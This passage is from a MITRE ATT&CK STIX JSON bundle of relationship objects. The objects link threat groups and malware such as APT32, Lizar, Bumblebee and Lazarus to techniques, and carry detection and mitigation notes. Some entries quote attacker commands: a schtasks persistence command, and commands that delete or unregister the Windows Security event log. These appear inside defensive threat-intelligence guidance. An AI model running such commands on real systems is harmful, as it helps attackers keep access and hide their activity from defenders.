"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6f037ffb-3e85-41d0-8c48-ae36d0996d57", "type": "relationship", "created": "2022-02-04T22:03:05.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BiZone Lizar May 2021", "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022."}], "modified": "2022-02-04T22:03:05.848Z", "description": "[Lizar](https://attack.mitre.org/software/S0681) can collect the username from the system.(Citation: BiZone Lizar May 2021) ", "relationship_type": "uses", "source_ref": "malware--f74a5069-015d-4404-83ad-5ca01056c0dc", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6f050b2e-7596-4fdf-b7b1-1234969c4de9", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-06T22:22:01.836Z", "description": "Monitor for API calls (such as <code>RegOpenKeyExA</code>) that may interact with the Windows Registry to gather information about the system, configuration, and installed software. OS API calls associated with querying the Windows Registry are RegOpenKeyEx , RegOpenUserClassesRoot, RegQueryValueExA, and RegQueryValueExW. Execution of these functions might trigger security log ids such as 4663 (Microsoft Security Auditing). Also monitor for RegOpenUserClassesRoot api to retrieve a handle to the\u00a0HKEY_CLASSES_ROOT key for a specified user. The returned key has a view of the registry that merges the contents of the\u00a0HKEY_LOCAL_MACHINE\\Software\\Classes key with the contents of the Software\\Classes keys in the user's registry hive.\n\nNote: Most EDR tools do not support direct monitoring of API calls due to the sheer volume of calls produced by an endpoint but may have alerts or events that are based on abstractions of OS API calls.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6f05eb5c-0916-40f2-8012-368d42c1a1d2", "created": "2023-03-13T13:28:08.098Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft BEC Campaign", "description": "Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.", "url": "https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/"}, {"source_name": "Microsoft Manage Mail Flow Rules 2023", "description": "Microsoft. (2023, February 22). Manage mail flow rules in Exchange Online. Retrieved March 13, 2023.", "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/manage-mail-flow-rules"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-13T13:35:59.404Z", "description": "On Windows systems, monitor for creation of suspicious inbox rules through the use of the `New-InboxRule`, `Set-InboxRule`, `New-TransportRule`, and `Set-TransportRule` PowerShell cmdlets.(Citation: Microsoft BEC Campaign)(Citation: Microsoft Manage Mail Flow Rules 2023)", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6f0b6cfd-ebe2-46f3-9be1-0075237dbcb9", "type": "relationship", "created": "2020-03-17T23:17:09.409Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "source_name": "FireEye APT32 May 2017"}], "modified": "2020-06-26T17:02:14.327Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has used hidden or non-printing characters to help masquerade service names, such as appending a Unicode no-break space character to a legitimate service name. [APT32](https://attack.mitre.org/groups/G0050) has also impersonated the legitimate Flash installer file name \"install_flashplayer.exe\".(Citation: FireEye APT32 May 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6f1c0538-c9f4-49ad-b934-0714b50c1c45", "created": "2022-07-18T18:55:15.056Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "TrendMicro EarthLusca 2022", "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf", "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) used the command <code>schtasks /Create /SC ONLOgon /TN WindowsUpdateCheck /TR \u201c[file path]\u201d /ru system</code> for persistence.(Citation: TrendMicro EarthLusca 2022)", "modified": "2022-07-18T18:55:15.056Z", "relationship_type": "uses", "source_ref": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034", "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6f1ea286-593c-4255-9ea8-708e04184987", "created": "2021-11-24T20:17:35.668Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[LazyScripter](https://attack.mitre.org/groups/G0140) has used VBScript to execute malicious code.(Citation: MalwareBytes LazyScripter Feb 2021)", "modified": "2022-04-06T19:15:44.627Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6f1f4c7b-dc86-44e3-9ff2-ea9451ea90ee", "type": "relationship", "created": "2020-03-11T21:01:01.062Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2022-03-08T19:31:22.870Z", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. 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Retrieved February 25, 2021."}], "modified": "2021-03-02T18:15:56.542Z", "description": "[LookBack](https://attack.mitre.org/software/S0582) has a C2 proxy tool that masquerades as <code>GUP.exe</code>, which is software used by Notepad++.(Citation: Proofpoint LookBack Malware Aug 2019)", "relationship_type": "uses", "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6f23e808-aa3b-4ad8-b932-e294c8921fdb", "created": "2022-08-18T17:10:42.968Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Google EXOTIC LILY March 2022", "description": "Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. 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Retrieved August 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "\n[QuasarRAT](https://attack.mitre.org/software/S0262) can generate a UAC pop-up Window to prompt the target user to run a command as the administrator.(Citation: CISA AR18-352A Quasar RAT December 2018)", "modified": "2022-08-02T18:09:20.172Z", "relationship_type": "uses", "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--70386a3a-6ea5-4a2b-9989-2356ee9cf770", "type": "relationship", "created": "2020-03-19T20:22:29.425Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. 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Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}], "modified": "2021-04-09T14:47:00.129Z", "description": "[Empire](https://attack.mitre.org/software/S0363) contains modules that can discover and exploit search order hijacking vulnerabilities.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--703a5971-a542-4d7d-8bf5-7a9adb1db852", "type": "relationship", "created": "2020-02-12T14:37:27.528Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-28T16:07:44.900Z", "description": "Disable the RDP service if it is unnecessary.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--703ea9d2-9caf-4753-8485-d12a0e9a2817", "type": "relationship", "created": "2020-02-12T15:22:11.357Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-07T22:14:25.992Z", "description": "Inventory workstations for unauthorized VNC server software.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--704355c5-4743-4fe1-bd64-b7012fe7c1d2", "created": "2019-09-24T12:59:58.595Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos ZxShell Oct 2014", "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", "url": "https://blogs.cisco.com/security/talos/opening-zxshell"}, {"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:27:10.526Z", "description": "[ZxShell](https://attack.mitre.org/software/S0412) can launch port scans.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014) ", "relationship_type": "uses", "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--70495f42-0a81-485c-8f30-c75af61f1c6a", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto OilRig Oct 2016", "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"}], "modified": "2020-03-16T18:04:34.423Z", "description": "[OilRig](https://attack.mitre.org/groups/G0049) has exfiltrated data over FTP separately from its primary C2 channel over DNS.(Citation: Palo Alto OilRig Oct 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--70580204-2b28-4ffe-bdfc-a1db075ff0eb", "created": "2022-04-20T13:02:07.112Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:26:39.074Z", "description": "Monitor for unexpected deletion of Windows event logs (via native binaries) and may also generate an alterable event (Event ID 1102: \"The audit log was cleared\"). When an eventlog is cleared, a new event is created that alerts that the eventlog was cleared. For Security logs, its event code 1100 and 1102. For System logs, it is event code 104.\n\nIt is unlikely that event log data would be cleared during normal operations, and it is likely that malicious attackers may try to cover their tracks by clearing an event log. When an event log gets cleared, it is suspicious. \n\n1. This is often done using\u00a0wevtutil, a legitimate tool provided by Microsoft. This action interferes with event collection and notification, and may lead to a security event going undetected, thereby potentially leading to further compromise of the network. \n\n2. Alerting when a\u00a0Clear Event Log\u00a0is generated could point to this intruder technique. Centrally collecting events has the added benefit of making it much harder for attackers to cover their tracks. Event Forwarding permits sources to forward multiple copies of a collected event to multiple collectors, thus enabling redundant event collection. Using a redundant event collection model can minimize the single point of failure risk. \n\n3. Attackers may set the option of the sources of events with\u00a0<code>Limit-EventLog -LogName Security -OverflowAction DoNotOverwrite</code>\u00a0to not delete old Evenlog when the .evtx is full. By default the Security Log size is configured with the minimum value of 20 480KB (~23 000 EventLog). So if this option is enabled, all the new EventLogs will be automatically deleted. We can detect this behavior with the Security EventLog 1104. \n\n4. Attackers may delete .evtx with\u00a0<code>del C:\\Windows\\System32\\winevt\\logs\\Security.evtx</code>\u00a0or\u00a0<code>Remove-Item C:\\Windows\\System32\\winevt\\logs\\Security.evtx</code>\u00a0after having disabled and stopped the Eventlog service. As the EventLog service is disabled and stopped, the .evtx files are no longer used by this service and can be deleted. The new EventLog will be Unavailable until the configuration is reset. \n\n5. Attackers may use the powershell command\u00a0<code>Remove-EventLog -LogName Security</code>\u00a0to unregister source of events that are part of Windows (Application, Security\u2026). This command deletes the security EventLog (which also generates EventId 1102) but the new Eventlogs are still recorded until the system is rebooted . After the System is rebooted, the Security log is unregistered and doesn\u2019t log any new Eventlog. However logs generated between the command and the reboot are still available in the .evtx file.\n\nAnalytic 1 - User Activity from Clearing Event Logs\n\n<code> (source=\"*WinEventLog:Security\" EventCode IN (1100, 1102, 1104)) OR (source=\"*WinEventLog:System\" EventCode IN (104))</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--705fdfa4-6b23-480c-b31a-eadb41533439", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Comnie", "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}], "modified": "2020-03-17T00:43:32.021Z", "description": "[Comnie](https://attack.mitre.org/software/S0244) executes the <code>netstat -ano</code> command.(Citation: Palo Alto Comnie)", "relationship_type": "uses", "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--705fe2ec-dbe1-4811-baf5-798f5f874639", "created": "2024-02-12T20:33:27.795Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Update May 2021", "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T20:33:27.795Z", "description": "[APT5](https://attack.mitre.org/groups/G1023) has used the JAR/ZIP file format for exfiltrated files.(Citation: Mandiant Pulse Secure Update May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7060e30c-cbb6-4b79-ad52-5e1619e030f0", "type": "relationship", "created": "2020-05-15T15:04:34.041Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-15T18:32:19.789Z", "description": "[ShimRat](https://attack.mitre.org/software/S0444) can sleep when instructed to do so by the C2.(Citation: FOX-IT May 2016 Mofang)\t", "relationship_type": "uses", "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7060f9a3-aeea-41bc-a5bf-549e33334fdd", "created": "2024-01-05T20:46:17.750Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat June 2022", "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat/106799/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-05T18:06:20.101Z", "description": "[Samurai](https://attack.mitre.org/software/S1099) can create a service at `HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost` to trigger execution and maintain persistence.(Citation: Kaspersky ToddyCat June 2022)", "relationship_type": "uses", "source_ref": "malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--70613a9f-e8c2-44ba-a238-34acb0b7e5b8", "created": "2022-08-16T19:38:38.722Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "NCSC GCHQ Small Sieve Jan 2022", "description": "NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022.", "url": "https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T17:13:10.324Z", "description": "[Small Sieve](https://attack.mitre.org/software/S1035) has the ability to add itself to `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\OutlookMicrosift` for persistence.(Citation: NCSC GCHQ Small Sieve Jan 2022)", "relationship_type": "uses", "source_ref": "malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--70648d67-a2f5-4021-8ffe-3bbcdbe8e78f", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Bankshot", "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}], "modified": "2020-02-18T03:40:29.863Z", "description": "[Bankshot](https://attack.mitre.org/software/S0239) creates processes using the Windows API calls: CreateProcessA() and CreateProcessAsUserA().(Citation: McAfee Bankshot)", "relationship_type": "uses", "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7064e494-5a32-4a40-b0b1-b19b9a145e73", "created": "2023-04-10T15:38:02.911Z", "revoked": false, "external_references": [{"source_name": "ClearSky Lazarus Aug 2020", "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-10T15:38:02.911Z", "description": "During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) conducted internal spearphishing from within a compromised organization.(Citation: ClearSky Lazarus Aug 2020)", "relationship_type": "uses", "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "target_ref": "attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--7065f730-96fc-4a33-b6fb-101af568b74b", "created": "2022-08-22T13:51:02.820Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Symantec Bumblebee June 2022", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", "description": "Kamble, V. (2022, June 28). Bumblebee: New Loader Rapidly Assuming Central Position in Cyber-crime Ecosystem. Retrieved August 24, 2022."}, {"source_name": "Proofpoint Bumblebee April 2022", "url": "https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming", "description": "Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022."}, {"source_name": "Google EXOTIC LILY March 2022", "url": "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", "description": "Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Bumblebee](https://attack.mitre.org/software/S1039) can download and execute additional payloads including through the use of a `Dex` command.(Citation: Google EXOTIC LILY March 2022)(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)", "modified": "2022-08-25T14:07:55.051Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--04378e79-4387-468a-a8f7-f974b8254e44", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7066827b-795c-447c-9c07-05765ed1e07b", "type": "relationship", "created": "2020-05-04T19:13:35.383Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT HOTCROISSANT February 2020", "url": "https://www.us-cert.gov/ncas/analysis-reports/ar20-045d", "description": "US-CERT. (2020, February 20). MAR-10271944-1.v1 \u2013 North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020."}], "modified": "2020-05-06T19:28:22.199Z", "description": "[HotCroissant](https://attack.mitre.org/software/S0431) can perform dynamic DLL importing and API lookups using <code>LoadLibrary</code> and <code>GetProcAddress</code> on obfuscated strings.(Citation: US-CERT HOTCROISSANT February 2020)", "relationship_type": "uses", "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--707474c8-890d-4be2-81d5-f6a4902b1309", "type": "relationship", "created": "2021-09-23T12:44:50.893Z", "created_by_ref": 